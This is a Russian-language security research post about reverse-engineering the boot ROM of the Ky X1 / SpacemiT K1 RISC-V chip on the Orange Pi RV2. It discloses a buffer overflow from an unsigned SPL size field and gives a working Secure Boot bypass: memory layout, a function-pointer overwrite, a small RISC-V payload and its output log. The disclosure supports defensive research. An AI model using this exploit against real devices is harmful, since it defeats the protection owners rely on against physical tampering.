Так уж повелось, что в Positive Labs исследованиями одноплатных платформ чаще всего занимаюсь я. Задачи при этом бывают разными: где-то нужно включить Secure Boot или Encrypted Boot, где-то — наоборот, проверить устойчивость этих механизмов к атакам.

Поводом для этой статьи стала обнаруженная уязвимость в чипе Ky X1 – сердце одноплатника Orange Pi RV2, вышедшего в 2025 году. Уязвимость по праву можно назвать учебной – она простая, а процесс её поиска и эксплуатации – прямолинейный, без сложных трюков и неожиданных поворотов. На её примере разберём, как в подобных устройствах реализуются механизмы доверенной загрузки, где именно возникают слабые места и каким образом подобные ошибки могут быть обнаружены и проэксплуатированы.

Процесс исследования можно формализовать. Сначала — попытка найти документацию в открытом доступе. Затем — закономерное разочарование: подробностей о включении механизмов безопасности нет. Как всегда, эта часть описывается в закрытых документах, доступ к которым могут получить не только лишь все.

В итоге остаётся единственный путь — реверс. Приходится разбирать прошивку, анализировать ROM и буквально по крупицам восстанавливать логику работы: как включается Secure Boot, какие биты за это отвечают, и в каком порядке должна происходить инициализация.

В общем, принцип «без бумажки – ты букашка» здесь работает на все 100% — реверсить приходится всегда. Зато в качестве бонуса после такого исследования ты начинаешь понимать про Secure Boot на конкретной платформе почти всё.

Secure Boot: а нужен ли?

«Первым делом включаем Secure Boot» — но зачем?

Зачем включать Secure Boot
Зачем включать Secure Boot

Одноплатные компьютеры часто используются в устройствах вне дома, а значит, могут попасть в чужие руки — вместе с картой памяти. И проблема тут не столько в потере железа, сколько в утечке данных: на носителе могут остаться логи перемещений, ключи доступа к инфраструктуре и другие чувствительные данные. Поэтому носитель информации стоит шифровать (ВСЕГДА!).

Но возникает другая задача — как сохранить возможность быстрой загрузки без ввода пароля. В идеале для этого нужен Encrypted Boot (хранение прошивки в зашифрованном виде с расшифровкой непосредственно перед запуском) вместе с Secure Boot (криптографическая проверка отсутствия изменений в прошивке), однако даже один Secure Boot уже позволяет заметно повысить безопасность устройства.

Объект исследования

На этот раз подопытным стал Orange Pi RV2 на базе чипа Ky X1, новая архитектура RISC-V, плата от известного производителя - звучит очень вкусно.

Orange Pi RV2
Orange Pi RV2

Плата довольно интересная, есть два Ethernet-порта, встроенный NPU, два слота для NVMe SSD. Но на данный момент нас больше всего интересует, как она запускается. При подаче питания стартует ROM, который может запускать SPL с SPI-flash, eMMc или SD-card.

В отличие от большинства SoC, используемых в одноплатных компьютерах, в Ky X1 применяется архитектура RISC-V, а не привычная ARM. Казалось бы, открытая архитектура должна упрощать жизнь исследователю, но на практике это почти не помогает: в доступной документации только заявлено наличие Secure Boot, но про то, как он устроен и как его включить, нет ни слова.

Всё что есть про SecureBoot в документации
Всё что есть про SecureBoot в документации

А значит, ничего нового — придётся идти самым надёжным путём. Если документации нет, её нужно сделать – реверсим и пишем заметки.

Получение ROM

Первым делом надо понять “куда его ревёрсить”. В таблице address mapping из мануала на очень похожий чип (позже мы убедились, что это один и тот же чип под разными названиями) нам оставили подсказку: сказано, что ROM лежит с 0xFFE00000 по 0x100000000.

SpacemiT K1 address mapping
SpacemiT K1 address mapping

Дело остаётся за малым. Orange Pi build умеет собирать U-Boot под нашу плату, значит, можно попробовать научить собранный u-boot дампить ROM. Для этого ищем один из первых вызовов printf и добавляем вывод ROM в UART. Я решил, что подходящим местом будет функция show_board_info.

// патч
int __weak show_board_info(void)
{
        if (IS_ENABLED(CONFIG_OF_CONTROL)) {

                // some lines omitted for clarity

                if (model)
                        printf("Model: %s\n", model);

                //BEGIN patch
                //dump ROM
                printf("Rom: \n");
                unsigned char * rom=(unsigned char*) 0xFFE00000;
                for( int i=0x0000;i<0x20000;i+=0x10){
                        printf("    %08X: ",i);
                        for (int j=0;j<0x10;++j){
                                printf("%02x ",rom[i+j]);
                        }
                        printf("\n");
                }
                //END patch
        }

        return checkboard();
}

Компилируем пропатченный SPL, записываем его на SD-карту, запускаем и видим что-то похожее на код. Для надёжности прогоняем минимум три раза и сравниваем полученные двоичные файлы – у меня дампы совпали, значит можно продолжать.

// дампим ROM
U-Boot 2022.10ky (Aug 18 2025 - 11:16:02 +0000)

[   0.947] CPU:   rv64imafdcv
[   0.949] Model: ky x1 orangepi-rv2 board
[   0.953] Rom: 
[   0.955]     00000000: 81 40 01 41 81 41 01 42 81 42 01 43 81 43 01 44 
[   0.961]     00000010: 81 44 01 45 81 45 01 46 81 46 01 47 81 47 01 48 
[   0.968]     00000020: 81 48 01 49 81 49 01 4a 81 4a 01 4b 81 4b 01 4c 
[   0.975]     00000030: 81 4c 01 4d 81 4d 01 4e 81 4e 01 4f 81 4f 73 25 
[   0.981]     00000040: 40 f1 97 02 00 00 93 82 a2 09 73 90 52 30 73 10 
[   0.988]     00000050: 40 30 97 91 a3 c0 93 81 e1 bb 17 01 a4 c0 13 01 
[   0.995]     00000060: 61 fa 37 45 0d 00 1b 05 35 28 32 05 13 05 05 c2 
[   1.001]     00000070: 0c 41 93 f5 05 02 89 ed 79 65 1b 05 35 0c 3e 05 
[   1.008]     00000080: 31 05 0c 41 85 89 89 c5 1b 05 10 18 5e 05 02 85 
[   1.014]     00000090: 17 b5 00 00 13 05 85 bf 97 85 a3 c0 93 85 85 f6 
[   1.021]     000000A0: 13 86 01 86 63 da c5 00 83 32 05 00 23 b0 55 00 
[   1.028]     000000B0: 21 05 a1 05 e3 ca c5 fe 93 82 01 86 17 b3 a3 c0 
[   1.034]     000000C0: 13 03 c3 1a 63 87 62 00 23 b0 02 00 a1 02 e3 cd 
[   1.041]     000000D0: 62 fe 01 45 81 45 ef 00 a0 0b 01 00 13 01 81 ee 
[   1.047]     000000E0: 06 e0 0a e4 0e e8 12 ec 16 f0 1a f4 1e f8 22 fc 
[   1.054]     000000F0: a6 e0 aa e4 ae e8 b2 ec b6 f0 ba f4 be f8 c2 fc

Исследование ROM и поиск Secure Boot

Когда код ROM получен – пришло время его ревёрсить. Проблем с загрузкой его в IDA Pro быть не должно – выбираем Risc-V, “binary file” и создаём сегмент с 0xFFE00000 по 0xFFF00000.

Начать стоит с разборки процесса загрузки SoC от запуска ROM до перехода к коду с внешнего носителя. Все самое интересное будет там. В данном случае ROM оказался небольшим, да и функционала в нём немного. Сперва идёт небольшая инициализация, а затем попытки загрузиться с различных устройств.

// Функция main ROM
void __noreturn main()
{
  // инициализация
  // some lines omitted for clarity
  init_timer();

  // выбор источника загрузки
  boot_mode32 = get_bootmode();
  boot_mode = boot_mode32;
  // some lines omitted for clarity
  if ( sd_boot_disabled() || !is_storage(boot_mode) )
  {
    try_boot = boot_mode;
  }
  else
  {
    if ( boot_mode != SD )
      printf("try sd...\n");
    try_boot = SD;
  }

  // загрузка
  while ( 1 )
  {
    // some lines omitted for clarity
    // ...
    if ( try_boot != SD || boot_mode == SD )
    {
      if ( !load_image(0, "spl", SPL_buffer, try_boot, boot_mode) ) // попытка загрузки SPL
      {
        printf("j...\n");
        __asm { fence.i }
        (&SPL_buffer[0x1000])(0, 0, 0);
        printf("ERROR:   Non-reachable code, busy loop...\n");
        panic();
      }
      printf("ERROR:   Load image failed.\n");
      panic();
    }
    // some lines omitted for clarity
  }
  // some lines omitted for clarity
}

Наиболее прямой способ найти Secure Boot – посмотреть, как ROM загружает SPL с внешнего хранилища. Хороший знак – встретить криптографию, и вот первые её признаки: в функции load_image видны логи со строкой “verify”.

// Строки в функции load_image
__int64 __fastcall load_image(__int64 id, char *name, void *addr, boot_modes selected_mode, boot_modes boot_mode)
{
  // some lines omitted for clarity 
  while ( 1 )
  {
    verify_err = verify(addr, readed[0], name);
    if ( verify_err != -1uLL )
      break;
    if ( is_prod_mode() )
    {
      printf("ERROR:   ROM: Failed to verify %s%d\n", name, id & 1);
      if ( (selected_mode == EMMC || (selected_mode - 3) <= 2) && !retry_flag )
      {
        id = id + 1;
        retry_flag = 1;
        goto LOAF_IMG;
      }
PANIC:
      printf("ERROR:   ROM: loadd&verify panic.\n"); // "verify"
      panic();
    }
SELECT_NEXT_IMG:
    printf("ERROR:   ROM[debug]: Failed to verify %s%d\n", name, id & 1); 
   // some lines omitted for clarity
  }
  if ( verify_err )
    goto SELECT_NEXT_IMG;
  return 0;
}

Конечно, это не 100% гарантия Secure Boot - может оказаться простой контрольной суммой, но всё-таки очень похоже на него. Подписываем функцию verify и идём смотреть, как она устроена. Внутри функции в логах встречается ещё множество характерных слов вроде “auth” и “crypto_rsa2048_verify”. Ну теперь-то точно можно говорить, что Secure Boot где-то здесь.

// Строки в  функциях verify и crypto_rsa2048_verify 
__int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name)
{
  // some lines omitted for clarity
                verify_sign_2_err = verify_sign(&spl_addr->binary_header, alligned_binary_size, key);
                if ( !verify_sign_2_err )
                  return 0;                     // SB CHECK OK
                goto AUTH_ERR;
  // some lines omitted for clarity
AUTH_ERR:
            printf("auth error: %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x7D, verify_sign_2_err);
            printf(
              "ROM: auth_verify_aimg_data error, %s,Line %d, err %d\n",
              "drivers/auth/auth.c",
              0xA2,
              verify_sign_err);
            return -1uLL;
  // some lines omitted for clarity
}

__int64 __fastcall verify_sign(char *data, __int64 size, rsa_pubkey *key)
{
  // some lines omitted for clarity
    rsa_verify_err = crypto_rsa2048_verify(key, &data[header_size], hash);
    if ( rsa_verify_err )
      printf("auth error: %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x4F, rsa_verify_err);
    return rsa_verify_err;
  // some lines omitted for clarity
}

__int64 __fastcall crypto_rsa2048_verify(__int64 N, __int64 end_addr__, unsigned __int8 *hash)
{
  // some lines omitted for clarity
    printf("%s: ret %x\n", "crypto_rsa2048_verify", -err);
  // some lines omitted for clarity
  return err;
}

Вообще, можно было поискать строчки вроде “RSA”, “verify”, “signature” в самом начале исследования – они сразу бы привели нас в нужное место. Хотя подход с последовательным анализом процедуры загрузки более универсален – такое разнообразие отладочных выводов в ROM скорее исключение, чем правило. Например, в ROM RK3588 всего две строчки: магическая константа заголовка SPL и версия ROM, которая вообще не используется в коде. В таких случаях криптографию можно попробовать определить по сигнатурам или обращениям к “криптодвижку” – в современных процессорах часто используются аппаратные блоки для ускорения криптографических операций. Адреса регистров этих блоков и то, как ими пользоваться, описывается в документации на чип. Иногда эта часть документации даже доступна в интернете.

Secure Boot

Теперь, когда Secure Boot найден, остаётся его включить. Обычно включение Secure Boot состоит в том, чтобы прошить хэш ключа и флаг включения во фьюзы, но для этого нужно определить их адреса.

Чтобы понять, где находятся нужные фьюзы, снова смотрим в IDA. Очевидно, ROM должен как-то определить, можно ли доверять публичному ключу подписи. Обычно перед проверкой подписи вычисляется хэш публичного ключа и сравнивается со значением из фьюзов. В нашем случае в функции verify вычисляется хэш от первых 0x100 байт образа SPL и сравнивается со значением из фьюзов.

Заодно замечаем ещё одно обращение к фьюзам — судя по всему, это бит включения Secure Boot. Такой механизм тоже довольно распространён.

// Проверка флага Secure Boot и хэша ключа
__int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name)
{
  // some lines omitted for clarity
  // p_eFuse - pointer to memory-mapped eFuse region 
  SB_Flags = p_eFuse->SB_Flags;		// p_eFuse + 0xC4
  if ( (SB_Flags & 0xE00) == 0 )                // looks like SECURE_BOOT_ENABLE
  {
    // some lines omitted for clarity
    if ( is_prod_mode() )
    {
      err = crypto_hash_256(spl_addr->key.N, 0x100, &hash);
      // some lines omitted for clarity
      cmp = memcmp(&hash, p_eFuse->secure_boot_key_hash, 0x20); // p_eFuse + 0x80
      // some lines omitted for clarity
      if ( cmp ){
        printf("ROM: auth_verify_tpks error, %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x9B, cmp);
        return -1uLL;
      }
    }
    // some lines omitted for clarity
    verify_sign_1_err = verify_sign(&spl_addr->header, 0xB00, &spl_addr->key);
    // some lines omitted for clarity
  }
  // NON SB here
  // some lines omitted for clarity
}

Флаг включения находится по смещению 0xC4, а рисунок ключа – по смещению 0x80. Однако прежде чем шить фьюзы, желательно научиться правильно подписывать бинарь, а не то может получиться, что secure у нас будет, а boot - нет.

Подпись SPL

При поиске Secure Boot и используемых им фьюзов мы уже обнаружили, что для подписи используется RSA-2048 и SHA-256, а публичный ключ расположен в первых 256 байтах прошивки. Теперь остаётся определить границы областей SPL, для которых проверяются подписи или хэши.

Ответ на этот вопрос стоит искать в приватной документации или декомпилированной функции verify.

// Вызовы функции verify_sign в функции verify
unsigned __int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name)
{
  // some lines omitted for clarity
  verify_sign_1_err = verify_sign(&spl_addr->header, 0xB00, &spl_addr->key);
  if ( !verify_sign_1_err )
  {
    // some lines omitted for clarity
    key_num = spl_addr->header.deffaul_key_num;
    for (int i=0; i < header.key_table_size; ++i) 
    {
      if ( !strcmp(name, header.key_table[i].name) )
      {
        key_num = spl_addr->header.key_table[i].key_num;
        break;
      }
    }
    key = &spl_addr->header.binary_keys[key_num];
    // some lines omitted for clarity
    verify_sign_2_err = verify_sign(&spl_addr->binary_header, alligned_binary_size, key);
    if ( !verify_sign_2_err )
      return 0;                     // SB CHECK OK
    // some lines omitted for clarity
  }
  // some lines omitted for clarity
}

Видно, что у SPL проверяется две подписи: одна - для заголовка, другая - для исполняемого кода. Разбор этой функции позволяет приблизительно восстановить структуру заголовков SPL.

// Структура SPL
struct spl // sizeof=0x1000;variable_size
{
    rsa_pubkey key;			// 0x0000
    spl_header header;			// 0x0100
    char header_sign[256];		// 0x0B00 
    char _[992];			// 0x0C00
    spl_binary_header binary_header;	// 0x0FE0
    char binary_and_sign[];		// 0x1000 Размер задаётся в binary_header.size
};

struct __fixed(0xA00) spl_header // sizeof=0xA00
{
    int magic;				// 0x000
    char arb_version;			// 0x004	
    char arb_mode;		    	// 0x005
    char _[2];			    	// 0x006
    __int64 headers_size;	    	// 0x008
    char __[16];		    	// 0x010
    int deffaul_key_num;	    	// 0x020
    int key_table_size;		    	// 0x024
    key_table_entry key_table[20];  	// 0x028
    char some_hash[32];		    	// 0x1B8
    char ___[40];		    	// 0x1D8
    rsa_pubkey binary_keys[8];	    	// 0x200
};

struct __fixed(0x14) key_table_entry // sizeof=0x14
{
    char name[16];			// 0x00
    int key_num;   			// 0x10
};

struct __fixed(0x20) spl_binary_header // sizeof=0x20
{
    int magic;				// 0x0
    char arb_version;			// 0x4
    char arb_mode;			// 0x5
    char _[2];				// 0x6
    __int64 size;			// 0x8
    char __[16];			// 0x10
};

Привлекает внимание тот факт, что размер SPL не фиксирован, при этом образ читается сразу целиком. Значит, либо где-то захардкожен максимальный размер SPL, либо где-то должен быть ещё один заголовок, и по-хорошему – ещё одна проверка подписи. Однако дополнительных вызовов функции crypto_rsa2048_verify, кажется, больше не видно…

Бага

Разбираемся, как ROM определяет, сколько байт нужно считать с носителя перед проверкой подписи SPL. Смотрим, откуда берётся размер прошивки и обнаруживаем функцию чтения bootinfo. Изучив функции чтения и обработки, восстанавливаем структуру bootinfo. Оказывается, что это и есть заголовок с размером образа SPL, но он накрыт только CRC32.

// BootInfo
00  f0 14 07 b0                                       |..../              Magick (0xB007_14F0) 
04              01 00 01 00                               /..../          Version (0x10001)
08                           53 44 43 00 00 00 00 00          /SDC.....|  Boot SRC (SD-card)
10  00 02 00 00 00 00 01 00  00 00 00 10 00 00 00 00  |................|  ???
20  00 00 02 00                                       |..../              IMG 0 offset (0x20000)
24              00 00 08 00                               /..../          IMG 1 offset (0x80000)
28                           00 60 03 00                      /.`../      IMG size     (0x36000)
2C                                       00 00 00 00              /....|  IMG 2 offset (0x0)
30  00 00 00 00                                       |..../              IMG 3 offset (0x0)
34              00 00 00 00  00 00 00 00 00 00 00 00      /............|  ???
40  4d f8 cc 36                                       |M..6|              CRC32        (valid)

Теперь ясно откуда берётся размер прошивки, но оказывается, он не защищён от модификации (не подписан). А раз есть какие-то параметры, которыми может манипулировать хакер, нужно проверить, что любые их значения будут корректно обрабатываться. В нашем случае следует убедиться, что в функции чтения прошивки предусмотрена защита от переполнения буфера.

// А я вам покажу откуда на SecureBoot готовилось нападение
__int64 __fastcall sd_load(unsigned __int64 image_id, unsigned __int64 skip, void *dst, _QWORD *read_size)
{
  unsigned int offset; // a5
  unsigned __int64 max_skip; // a6
  __int64 size; // a2
  unsigned int offset_pages; // a3
  __int64 read_offset; // a0
  __int64 result; // a0

  if ( image_id <= 1 )                          // image_id==0 on first try
  {
    offset = load_info.img0_start;
    if ( image_id )
      offset = load_info.img1_start;
    size = load_info.img_size;                  // size from boot_info, can be modified by attacker
    max_skip = load_info.img1_start - load_info.img0_start;
  }
  else
  {
    if ( (image_id - 2) > 1 )
    {
      printf("ERROR:   get_file_info: invalid image_id (%d)\n", image_id);
      size = 0;
      sd_offset_size = 0;
      sd_max_skip = 0;
      read_offset = 0;
      goto DO_SD_READ;
    }
    offset = load_info.img2_start;
    if ( image_id != 2 )
      offset = load_info.img3_start;
    max_skip = load_info.img3_start - load_info.img2_start;
    size = 0x800;                               // image_id==2 || image_id==3 is safe
  }
  sd_offset_size = ((offset >> 9) | (size << 0x20));
  sd_max_skip = max_skip;
  offset_pages = offset >> 9;
  read_offset = offset >> 9;
  if ( skip < max_skip )
  {
    read_offset = (((skip + 0x1FF) >> 9) + offset_pages);
    sd_offset_size = ((((skip + 0x1FF) >> 9) + offset_pages) | ((size - skip) << 0x20));
    size = size - skip;                         // skip==0, size unchanged
  }
DO_SD_READ:

  // !!! no verification size<=buffer_size 
  // !!! sd_read can overflow buffer and overwrite RAM 
  result = sd_read(read_offset, dst, size);     // read data from SD
                                                // reads size bytes to dst
                                                // no buffer size check inside
  if ( !result )
    *read_size = sd_offset_size.size;
  return result;
}

Так как наша плата загружается с SD-карты, рассмотрим функцию загрузки с SD. В функции sd_read есть два сценария. Первый — «безопасный»: если image_id равен 2, то size всегда будет 0x800, что не вызовет переполнения. Если же image_id равен 0 или 1, размер берётся из заголовка без каких-либо дополнительных проверок.

Image_id – это первый аргумент функции load_image, если посмотреть на её вызов, то можно увидеть, что в нашем случае он равен 0. А это явная возможность переполнить буфер.

Теперь остаётся понять, что именно можно перезаписать с помощью такого переполнения.

Эксплуатация

Буфер под SPL выделен статически и находится по адресу 0xC0800000. Согласно мануалу, это самое начало сегмента AUDIO SRAM (0xC0800000-0xC0840000). Очевидно, что на столь раннем этапе загрузки аудиоподсистема ещё не инициализирована, поэтому этот участок памяти используется для других целей.

Другие адреса, встречающиеся в коде, тоже попадают в этот сегмент; похоже, что на данном этапе загрузки вся оперативная память ROM находится в этом сегменте. В начале ROM видно, что в конце сегмента размещён стек, что выглядит как потенциальная возможность для code execution. Однако в таком случае придётся перезаписать значительную часть памяти, что существенно усложняет восстановление контекста.

Может быть, есть способ проще? Посмотрим, что есть поближе. Минимальный встреченный адрес оказался 0xC0838000 – получается размер буфера 0x38000. Учитывая, что размер штатного SPL 0x36000, такой буфер выглядит правдоподобным. Следующие 0x470 байт копируются из ROM.

# Инициализация памяти при запуске ROM
sub_FFE00000:
		# some lines omitted for clarity 
                la              gp, 0xC0838C10		
                la              sp, 0xC0840000		# stack grows from 0xC0840000
		# some lines omitted for clarity
CPY_ROM:
                la              a0, 0xFFE0AC88		# memcpy(0xC0838000,0xFFE0AC88,0x470);
                la              a1, 0xC0838000		# lowest used address after SPL-buffer
                la              a2, 0xC0838470
                bge             a1, a2, CLEAR_RAM
CPY_ROM_LOOP:                       
                ld              t0, 0(a0)
                sd              t0, 0(a1)
                addi            a0, a0, 8
                addi            a1, a1, 8
                blt             a1, a2, CPY_ROM_LOOP
CLEAR_RAM:
                la              t0, 0xC0838470		# memset(0xC0838470,0,0x2df8);
                la              t1, 0xC083B268
                beq             t0, t1, JMP_CORE
CLEAR_RAM_LOOP:                           
                sd              zero, 0(t0)
                addi            t0, t0, 8
                blt             t0, t1, CLEAR_RAM_LOOP
JMP_CORE:                           
                li              a0, 0
                li              a1, 0
                jal             main

Среди них встречается много полезного – например, по адресу 0xC0838410 лежит указатель на memory-mapped зону фьюзов. Тут уже явно пахнет обходом Secure Boot – меняем указатель на фьюзы так, чтобы он попал в какое-нибудь место в буфере SPL, а там имитируем выключенное состояние SecureBoot или меняем хэш ключа на свой. Для восстановления контекста достаточно просто скопировать данные из ROM. Однако есть нюанс: чтение идёт постранично, соответственно, размер считываемого буфера должен быть кратен 0x200. То есть придётся восстановить ещё и кусок 0xC0838470-0xC0838600. На первый взгляд там лежит много всего.

# Перезаписываемый участок, по-хорошему. нужно вернуть в исходное состояние
SRAM:C0838470 byte_C0838470:  .block 10h      # DATA XREF: sub_FFE00000+A0↓o
SRAM:C0838470                                 # sub_FFE00000:loc_FFE000B8↓o
SRAM:C0838480 qword_C0838480: .block 8        # DATA XREF: init_timer:loc_FFE01548↓w
SRAM:C0838480                                 # sub_FFE015A4:loc_FFE015F0↓r
SRAM:C0838488 qword_C0838488: .block 8        # DATA XREF: init_timer+2C↓w
SRAM:C0838488                                 # init_timer+70↓w ...
SRAM:C0838490 # UART_PHY *P_uart
SRAM:C0838490 P_uart:         .block 8        # DATA XREF: init_UART+C↓w
SRAM:C0838490                                 # uart_tx_char+2↓r ...
SRAM:C0838498 # load_dev_funcs *LDF
SRAM:C0838498 LDF:            .block 8        # DATA XREF: setup_device+1E↓o
SRAM:C0838498                                 # setup_device:loc_FFE017AC↓r ...
SRAM:C08384A0 byte_C08384A0:  .block 1        # DATA XREF: sub_FFE01A60+1C↓o
SRAM:C08384A0                                 # sub_FFE01A60+20↓r ...
SRAM:C08384A1                 .block 7
SRAM:C08384A8 # spl *load_addr
SRAM:C08384A8 load_addr:      .block 8        # DATA XREF: verify+22↓o
SRAM:C08384A8                                 # verify+2A↓w ...
SRAM:C08384B0 sys_reg:        .block 4        # DATA XREF: get_bootmode+4↓o
SRAM:C08384B0                                 # get_bootmode+8↓r ...
SRAM:C08384B4 dword_C08384B4: .block 4        # DATA XREF: sub_FFE02596+96↓r
SRAM:C08384B4                                 # emmc_init_card+7C↓w
SRAM:C08384B8 qword_C08384B8: .block 8        # DATA XREF: sub_FFE037B6+54↓o
SRAM:C08384B8                                 # sub_FFE037B6+A6↓r ...
SRAM:C08384C0 dword_C08384C0: .block 4        # DATA XREF: sub_FFE037B6+42↓o
SRAM:C08384C0                                 # sub_FFE037B6+96↓r ...
SRAM:C08384C4 dword_C08384C4: .block 4        # DATA XREF: sub_FFE034CC+42↓w
SRAM:C08384C4                                 # sub_FFE038D0+3A↓o ...
SRAM:C08384C8 dword_C08384C8: .block 4        # DATA XREF: sub_FFE034CC+34↓w
SRAM:C08384C8                                 # sub_FFE037B6+4C↓o ...
SRAM:C08384CC dword_C08384CC: .block 4        # DATA XREF: sub_FFE03124+14↓o
SRAM:C08384CC                                 # sub_FFE03124+18↓r ...
SRAM:C08384D0 dword_C08384D0: .block 4        # DATA XREF: fastboot_download+1E↓w
SRAM:C08384D0                                 # sub_FFE03C7E↓r
SRAM:C08384D4 dword_C08384D4: .block 4        # DATA XREF: fastboot_download+12↓w
SRAM:C08384D4                                 # sub_FFE03C7E+4↓r
SRAM:C08384D8 # int dword_C08384D8
SRAM:C08384D8 dword_C08384D8: .block 4        # DATA XREF: emmc_init_card+AE↓o
SRAM:C08384D8                                 # emmc_init_card+B2↓r ...
SRAM:C08384DC dword_C08384DC: .block 4        # DATA XREF: sub_FFE03FBA+4↓o
SRAM:C08384DC                                 # sub_FFE03FBA+C↓r ...
SRAM:C08384E0 qword_C08384E0: .block 8        # DATA XREF: spi_nand_bootinfo+2↓r
SRAM:C08384E0                                 # spi_nand_setup+1A↓w ...
SRAM:C08384E8 qword_C08384E8: .block 8        # DATA XREF: spi_nor_bootinfo+2↓r
SRAM:C08384E8                                 # spi_nor_setup+1C↓w ...
SRAM:C08384F0 # __int64 qword_C08384F0
SRAM:C08384F0 qword_C08384F0: .block 8        # DATA XREF: sub_FFE07CDC↓o
SRAM:C08384F0                                 # sub_FFE07CDC+4↓r ...
SRAM:C08384F8 # boot_info boot_info
SRAM:C08384F8 boot_info:      boot_info <?>   # DATA XREF: core+5C↓o
SRAM:C08384F8                                 # core+130↓o
SRAM:C083853C                 .block 4
SRAM:C0838540 # load_info load_info
SRAM:C0838540 load_info:      load_info <?>   # DATA XREF: core+122↓o
SRAM:C0838540                                 # core+12C↓o ...
SRAM:C0838564                 .block 1Ch
SRAM:C0838580 # unsigned __int8 hash
SRAM:C0838580 hash:           .block 20h      # DATA XREF: verify_sign+30↓o
SRAM:C0838580                                 # verify_sign+40↓o ...
SRAM:C08385A0                 .block 60h

Впрочем, обычно нет необходимости восстанавливать всё, главное – починить то, без чего не будет работать. А значит, можно попробовать заполнить всё нулями, а дальше итеративно восстанавливать то, что выглядит важным.

Взгляд цепляется за адрес 0xC0838498 (LDF) – там хранится указатель на структуру с функциями загрузки с различных устройств. Проанализировав функцию load_image, можно увидеть, что если функция verify вернёт ошибку, а 27 бит sys_reg будет нулевым, то плата попробует загрузить образ ещё раз, но на этот раз с id=1. При этом будет произведена попытка чтения с накопителя, причём функция берётся из структуры, на которую указывает LDF.

Это уже выглядит как полноценное выполнение кода в контексте ROM — что заметно интереснее, чем просто обход Secure Boot. Попробуем это осуществить. Напишем простой код и разместим его вместо заголовка SPL.

# payload
la a0, string 
li a5, 0xffe0141a # адрес printf в ROM
jalr a5 
li a5, 0xffe002e2 # адрес прыжка в SPL в ROM
jalr a5 
loop: 
j loop 
string: .string "Hello Habr!" 

Так как LDF – это указатель на массив указателей на функции, нам нужно где-то расположить свой вариант этого массива. Например, в конце “заголовка” SPL (0xC0800EE0). Первым элементом этого массива должен быть адрес нашего кода – 0xC0800000; остальные элементы можно заполнить нулями.

Следующие 0x100 байт (0xC0800F00-0xC0801000) будут изображать фьюзы, их тоже можно оставить пустыми. С 0xC0801000 расположится SPL, с 0xC0838000 по 0xC0838410 – значения скопированные из ROM.

Экспериментально выясняется, что, помимо участка, копируемого из ROM, критически важным оказывается только указатель на аппаратный блок UART.

Cхема PoCа
Cхема PoCа
// запускаем
try sd...
bm:3
auth error: drivers/auth/auth.c,Line 36, err -1
auth error: drivers/auth/auth.c,Line 53, err -1
auth error: drivers/auth/auth.c,Line 96, err -1
ROM: auth_verify_tpks error, drivers/auth/auth.c,Line 155, err -1
ERROR:   ROM[debug]: Failed to verify spl0
Hello Habr!
j...

U-Boot SPL 2022.10ky (Aug 18 2025 - 11:16:02 +0000)
[   0.141] DDR type LPDDR4X
[   0.149] Enable & config CLK/CA ODT
[   0.161] lpddr4_silicon_init consume 20ms
[   0.162] Change DDR data rate to 2400MT/s

На этом исследование можно завершить. Да, мне не удалось выяснить, как включить Secure Boot на Ky X1. Зато удалось понять, как его обойти — что, по сути, делает его включение бессмысленным. На этой плате сделать что-то доверенное не выйдет.

И не только на ней: уязвимость в ROM этого чипа, судя по всему, затрагивает все устройства на его основе. Позже в мои руки попал ещё один одноплатник на RISC-V — Banana Pi BPI-F3 на похожем чипе SpacemiT K1. Его ROM неотличим от ROM Ky X1, вероятно, это один и тот же чип под разными названиями.

Из этого следует, что полностью доверять устройствам на базе Ky X1 или SpacemiT K1 не стоит. Впрочем, большинству пользователей «апельсины» этот баг не страшен: во-первых, их модель угроз обычно не включает физический доступ; во-вторых, чтобы обойти Secure Boot, его сначала нужно включить — а официальных инструкций по его включению по-прежнему нет.

Комментарии (0)